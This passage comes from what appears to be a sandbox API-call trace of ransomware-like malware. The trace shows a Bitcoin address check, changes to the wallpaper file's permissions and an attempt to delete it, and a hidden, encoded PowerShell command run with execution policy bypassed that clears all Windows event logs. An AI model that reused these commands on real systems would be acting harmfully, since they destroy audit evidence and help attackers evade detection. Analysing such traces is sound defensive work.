wMilliseconds=0x2ae)) [0180.836] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.836] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.836] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.836] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.836] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.836] CoFreeUnusedLibraries () [0180.836] GetTickCount () returned 0x115dde1 [0180.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.837] CoFreeUnusedLibraries () [0180.837] GetTickCount () returned 0x115dde1 [0180.837] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.837] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.837] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.837] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.837] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.837] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.837] CoFreeUnusedLibraries () [0180.837] GetTickCount () returned 0x115dde1 [0180.837] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.837] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.838] CoFreeUnusedLibraries () [0180.838] GetTickCount () returned 0x115dde1 [0180.838] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.838] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.838] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.838] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.838] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.838] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.838] CoFreeUnusedLibraries () [0180.838] GetTickCount () returned 0x115dde1 [0180.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.839] CoFreeUnusedLibraries () [0180.839] GetTickCount () returned 0x115dde1 [0180.839] CoFreeUnusedLibraries () [0180.840] GetTickCount () returned 0x115dde1 [0180.985] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0180.986] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x8 [0180.986] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832f08 [0180.986] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x0, lParam=0x3832f08) returned 0x8 [0180.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0180.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x14f5e2c, cchWideChar=9 | out: lpWideCharStr="img0.jpg") returned 9 [0180.986] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.986] VarCat (in: pvarLeft=0x18ef18, pvarRight=0x18eeb8, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0180.986] VarCat (in: pvarLeft=0x18ef08, pvarRight=0x18eef8, pvarResult=0x18eee8 | out: pvarResult=0x18eee8) returned 0x0 [0180.986] VarCat (in: pvarLeft=0x18eee8, pvarRight=0x18eea8, pvarResult=0x18eed8 | out: pvarResult=0x18eed8) returned 0x0 [0180.986] SysStringLen (param_1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F") returned 0x38 [0180.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0180.986] SysStringLen (param_1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F") returned 0x38 [0180.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F", cchWideChar=57, lpMultiByteStr=0x14b4f74, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F", lpUsedDefaultChar=0x0) returned 57 [0180.986] SysStringLen (param_1="icacls") returned 0x6 [0180.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icacls", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.986] SysStringLen (param_1="icacls") returned 0x6 [0180.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icacls", cchWideChar=7, lpMultiByteStr=0x14f5b84, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icacls", lpUsedDefaultChar=0x0) returned 7 [0180.987] SysStringLen (param_1="open") returned 0x4 [0180.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.987] SysStringLen (param_1="open") returned 0x4 [0180.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x14f5634, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0180.987] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="icacls", lpParameters="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0180.987] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0181.249] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0181.249] GetLastError () returned 0x0 [0181.734] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0181.734] IsIconic (hWnd=0x40298) returned 0 [0181.734] lstrcmpA (lpString1="9:06:02 PM", lpString2="9:06:03 PM") returned -1 [0181.734] lstrlenA (lpString="9:06:03 PM") returned 10 [0181.734] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832ea8 [0181.734] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0181.734] InflateRect (in: lprc=0x18e780, dx=0, dy=0 | out: lprc=0x18e780) returned 1 [0181.734] InvalidateRect (hWnd=0x20264, lpRect=0x18e780, bErase=1) returned 1 [0181.735] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0181.735] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0182.748] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0182.748] IsIconic (hWnd=0x40298) returned 0 [0182.749] lstrcmpA (lpString1="9:06:03 PM", lpString2="9:06:04 PM") returned -1 [0182.749] lstrlenA (lpString="9:06:04 PM") returned 10 [0182.749] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832f50 [0182.749] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ea8 | out: hHeap=0x3820000) returned 1 [0182.749] InflateRect (in: lprc=0x18e780, dx=0, dy=0 | out: lprc=0x18e780) returned 1 [0182.749] InvalidateRect (hWnd=0x20264, lpRect=0x18e780, bErase=1) returned 1 [0182.749] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0182.749] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0183.341] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0183.341] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x8 [0183.341] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832f08 [0183.341] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x0, lParam=0x3832f08) returned 0x8 [0183.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0183.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=9 | out: lpWideCharStr="img0.jpg") returned 9 [0183.342] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0183.342] VarCat (in: pvarLeft=0x18ef18, pvarRight=0x18eeb8, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0183.342] VarCat (in: pvarLeft=0x18ef08, pvarRight=0x18eef8, pvarResult=0x18eee8 | out: pvarResult=0x18eee8) returned 0x0 [0183.342] SysStringLen (param_1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 0x29 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0183.342] SysStringLen (param_1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 0x29 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", cchWideChar=42, lpMultiByteStr=0x14b4f74, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpUsedDefaultChar=0x0) returned 42 [0183.342] SysStringLen (param_1="del") returned 0x3 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="del", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0183.342] SysStringLen (param_1="del") returned 0x3 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="del", cchWideChar=4, lpMultiByteStr=0x53a5444, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="del", lpUsedDefaultChar=0x0) returned 4 [0183.342] SysStringLen (param_1="open") returned 0x4 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0183.342] SysStringLen (param_1="open") returned 0x4 [0183.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x14f5e2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0183.342] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="del", lpParameters="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0183.343] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0183.362] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0183.363] GetLastError () returned 0x2 [0183.762] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0183.762] IsIconic (hWnd=0x40298) returned 0 [0183.762] lstrcmpA (lpString1="9:06:04 PM", lpString2="9:06:05 PM") returned -1 [0183.762] lstrlenA (lpString="9:06:05 PM") returned 10 [0183.762] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832ea8 [0183.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0183.762] InflateRect (in: lprc=0x18e780, dx=0, dy=0 | out: lprc=0x18e780) returned 1 [0183.762] InvalidateRect (hWnd=0x20264, lpRect=0x18e780, bErase=1) returned 1 [0183.762] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0183.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0184.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecb4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0184.356] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0184.356] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0184.356] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0184.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f5e2c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0184.356] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0184.356] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x8 [0184.356] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832f08 [0184.356] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x0, lParam=0x3832f08) returned 0x8 [0184.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0184.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f08, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=9 | out: lpWideCharStr="img0.jpg") returned 9 [0184.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0184.356] VarCat (in: pvarLeft=0x18ef18, pvarRight=0x18eeb8, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0184.356] VarCat (in: pvarLeft=0x18ef08, pvarRight=0x18eef8, pvarResult=0x18eee8 | out: pvarResult=0x18eee8) returned 0x0 [0184.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", cchWideChar=-1, lpMultiByteStr=0x18ecf0, cbMultiByte=83, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpUsedDefaultChar=0x0) returned 42 [0184.356] lstrcpynA (in: lpString1=0x18ebe0, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", iMaxLength=260 | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.356] lstrlenA (lpString="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 41 [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2a) returned 0x383f440 [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2a) returned 0x383f478 [0184.357] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x140) returned 0x383f4b0 [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832f08 [0184.357] lstrcpynA (in: lpString1=0x18ea9c, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", iMaxLength=260 | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.357] lstrlenA (lpString="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned 41 [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2a) returned 0x383f5f8 [0184.357] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2a) returned 0x383f630 [0184.357] lstrcpyA (in: lpString1=0x383f5f8, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.357] lstrcpyA (in: lpString1=0x383f630, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.357] SetLastError (dwErrCode=0x0) [0184.357] SearchPathA (in: lpPath=0x0, lpFileName="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x383f4e0, lpFilePart=0x18eb9c | out: lpBuffer="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg", lpFilePart=0x18eb9c*="img0.jpg") returned 0x29 [0184.358] CreateFileA (lpFileName="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" (normalized: "c:\\windows\\web\\wallpaper\\windows\\img0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.358] GetLastError () returned 0x5 [0184.358] lstrcpyA (in: lpString1=0x383f478, lpString2="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" | out: lpString1="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg") returned="C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" [0184.359] LoadStringA (in: hInstance=0x72940000, uID=0x59fa, lpBuffer=0x383f668, cchBufferMax=1024 | out: lpBuffer="Path/File access error: '|1'") returned 0x1c [0184.667] lstrlenA (lpString="Path/File access error: '|1'") returned 28 [0184.669] CErrorObject::SetGUID () returned 0x0 [0184.670] CErrorObject::SetSource () returned 0x0 [0184.670] CErrorObject::SetDescription () returned 0x0 [0184.670] QueryInterface () returned 0x0 [0184.671] SetErrorInfo (dwReserved=0x0, perrinfo=0x143ce48) returned 0x0 [0184.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0184.671] Release () returned 0x2 [0184.671] IUnknown:Release (This=0x143ce48) returned 0x1 [0184.801] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x18ed1c | out: pperrinfo=0x18ed1c*=0x143ce48) returned 0x0 [0184.801] IErrorInfo:GetSource (in: This=0x143ce48, pBstrSource=0x18ed30 | out: pBstrSource=0x18ed30*="Apache") returned 0x0 [0184.802] IErrorInfo:GetDescription (in: This=0x143ce48, pBstrDescription=0x18ed34 | out: pBstrDescription=0x18ed34*="Path/File access error: 'C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg'") returned 0x0 [0184.802] IErrorInfo:GetHelpFile (in: This=0x143ce48, pBstrHelpFile=0x18ed38 | out: pBstrHelpFile=0x18ed38*=0x0) returned 0x0 [0184.802] IErrorInfo:GetHelpContext (in: This=0x143ce48, pdwHelpContext=0x18ed3c | out: pdwHelpContext=0x18ed3c*=0x0) returned 0x0 [0184.802] IUnknown:Release (This=0x143ce48) returned 0x0 [0184.802] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ecf8) [0184.803] SetErrorMode (uMode=0x8001) returned 0x8001 [0184.804] LoadLibraryA (lpLibFileName="user32") returned 0x77130000 [0184.804] SetErrorMode (uMode=0x8001) returned 0x8001 [0184.804] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoA") returned 0x77156c30 [0184.804] SystemParametersInfoA (in: uiAction=0x14, uiParam=0x0, pvParam=0x0, fWinIni=0x3 | out: pvParam=0x0) returned 1 [0186.460] GetLastError () returned 0x6 [0186.460] GetFullPathNameA (in: lpFileName="C:\\Windows\\SYSVOL\\sysvol\\", nBufferLength=0x104, lpBuffer=0x18e96c, lpFilePart=0x18e728 | out: lpBuffer="C:\\Windows\\SYSVOL\\sysvol\\", lpFilePart=0x18e728*=0x0) returned 0x19 [0186.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SYSVOL\\sysvol\\", cchWideChar=-1, lpMultiByteStr=0x18ebb8, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SYSVOL\\sysvol\\", lpUsedDefaultChar=0x0) returned 26 [0186.461] FindFirstFileA (in: lpFileName="C:\\Windows\\SYSVOL\\sysvol\\*.*", lpFindFileData=0x18e708 | out: lpFindFileData=0x18e708*(dwFileAttributes=0x18e728, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef78, ftLastAccessTime.dwLowDateTime=0x18e838, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e96c, nFileSizeHigh=0x18e730, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x575c3a43, cFileName="indows\\SYSVOL\\sysvol\\", cAlternateFileName="Òë\x18")) returned 0xffffffff [0186.461] GetLastError () returned 0x3 [0186.461] GetLastError () returned 0x3 [0186.461] SetLastError (dwErrCode=0x3) [0186.461] GetLastError () returned 0x3 [0186.461] SetLastError (dwErrCode=0x3) [0186.461] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0186.462] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="powershell.exe", lpParameters="-Enc dwBlAHYAdAB1AHQAaQBsACAAZQBsACAAfAAgAEYAbwByAGUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAdwBlAHYAdAB1AHQAaQBsACAAYwBsACAAIgAkAF8AIgB9AA== -ExecutionPolicy Bypass -W Hidden -NonI", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0186.462] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ed74) returned 0x0 [0186.592] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ed74) returned 0x0 [0186.592] GetLastError () returned 0x0 [0186.592] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0186.592] IMalloc:Alloc (This=0x767666bc, cb=0x7c) returned 0x1461c90 [0186.592] IMalloc:GetSize (This=0x767666bc, pv=0x1461c90) returned 0x7c [0186.592] GetCurrentThreadId () returned 0x9ec [0186.593] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x104) returned 0x383f440 [0186.593] GetCurrentThreadId () returned 0x9ec [0186.593] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x154) returned 0x383fa70 [0186.593] GetCurrentThreadId () returned 0x9ec [0186.594] GetCurrentThreadId () returned 0x9ec [0186.594] GetCurrentThreadId () returned 0x9ec [0186.594] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x140) returned 0x383fbd0 [0186.594] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832f08 [0186.594] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x434) returned 0x383fd18 [0186.594] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x788 [0186.595] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x198) returned 0x3840158 [0186.595] RtlAllocateHeap (HeapHandle=0x3820000, 